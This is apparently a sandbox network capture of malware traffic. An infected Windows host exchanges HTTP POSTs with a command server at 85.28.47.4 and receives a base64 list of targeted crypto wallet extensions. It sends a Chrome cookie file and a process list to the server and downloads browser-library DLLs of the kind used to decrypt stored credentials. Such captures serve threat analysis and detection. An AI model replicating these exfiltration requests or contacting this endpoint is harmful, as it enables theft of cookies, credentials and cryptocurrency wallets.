Jul 2, 2024 04:11:57.749836922 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 2, 2024 04:11:57.749846935 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 2, 2024 04:11:57.754477978 CEST	700	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 2, 2024 04:11:57.783845901 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCG Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 2d 2d 0d 0a Data Ascii: ------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="message"fplugins------FBFHJJJDAFBKEBGDGHCG--
Jul 2, 2024 04:11:57.962476969 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:11:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 2, 2024 04:11:58.054979086 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHD Host: 85.28.47.4 Content-Length: 5683 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 04:11:58.054979086 CEST	4944	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 Data Ascii: ------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------KJDGIJECFIEBFIDHCGHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 2, 2024 04:11:58.055038929 CEST	739	OUT	Data Raw: 47 70 4b 61 32 63 75 5a 58 68 6c 43 67 6c 70 61 6c 46 49 5a 47 74 77 61 6b 70 72 5a 79 35 6c 65 47 55 4b 43 57 6c 71 55 55 68 6b 61 33 42 71 53 6d 74 6e 4c 6d 56 34 5a 51 6f 4a 61 57 70 52 53 47 52 72 63 47 70 4b 61 32 63 75 5a 58 68 6c 43 67 6c Data Ascii: GpKa2cuZXhlCglpalFIZGtwakprZy5leGUKCWlqUUhka3BqSmtnLmV4ZQoJaWpRSGRrcGpKa2cuZXhlCglpalFIZGtwakprZy5leGUKCWlqUUhka3BqSmtnLmV4ZQoJaWpRSGRrcGpKa2cuZXhlCglpalFIZGtwakprZy5leGUKCWlqUUhka3BqSmtnLmV4ZQoJaWpRSGRrcGpKa2cuZXhlCglpalFIZGtwakprZy5leGUKCWlq
Jul 2, 2024 04:11:58.854513884 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 04:11:59.089906931 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 04:11:59.266977072 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 2, 2024 04:11:59.266998053 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 2, 2024 04:11:59.267019987 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 2, 2024 04:11:59.267066002 CEST	1236	IN	Data Raw: 0e 70 eb 61 89 04 24 ff 15 80 02 ed 61 52 52 89 c2 85 d2 74 09 c7 04 24 78 67 eb 61 ff d2 c7 04 24 96 14 e0 61 e8 fc e2 0a 00 c9 c3 55 89 e5 5d c3 90 03 14 85 a0 c3 ec 61 55 89 e5 89 14 85 a0 c3 ec 61 83 c0 08 3b 14 85 a8 c3 ec 61 76 07 89 14 85 Data Ascii: pa$aRRt$xga$aU]aUa;ava]tUS$R[]UWVS,u}L$T$$t$\|$S,[^_]UWVS,u}L$T$$t$\|$S,[^_]UV0T$L$$V^]
Jul 2, 2024 04:12:00.667069912 CEST	948	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCG Host: 85.28.47.4 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------HIDGCFBFBFBKEBGCAFCG--
Jul 2, 2024 04:12:01.391256094 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 04:12:02.078613997 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDG Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 [TRUNCATED] Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="file"------HDBGDHDAECBGDHJKFIDG--
Jul 2, 2024 04:12:02.786482096 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 04:12:04.044696093 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHC Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 [TRUNCATED] Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file"------GCGHJEBGHJKEBFHIJDHC--
Jul 2, 2024 04:12:04.745573997 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 04:12:05.469742060 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 04:12:05.647661924 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 2, 2024 04:12:06.297383070 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 04:12:06.475668907 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 2, 2024 04:12:06.955712080 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 04:12:07.132620096 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 2, 2024 04:12:07.453094959 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 04:12:07.630485058 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 2, 2024 04:12:09.069010973 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
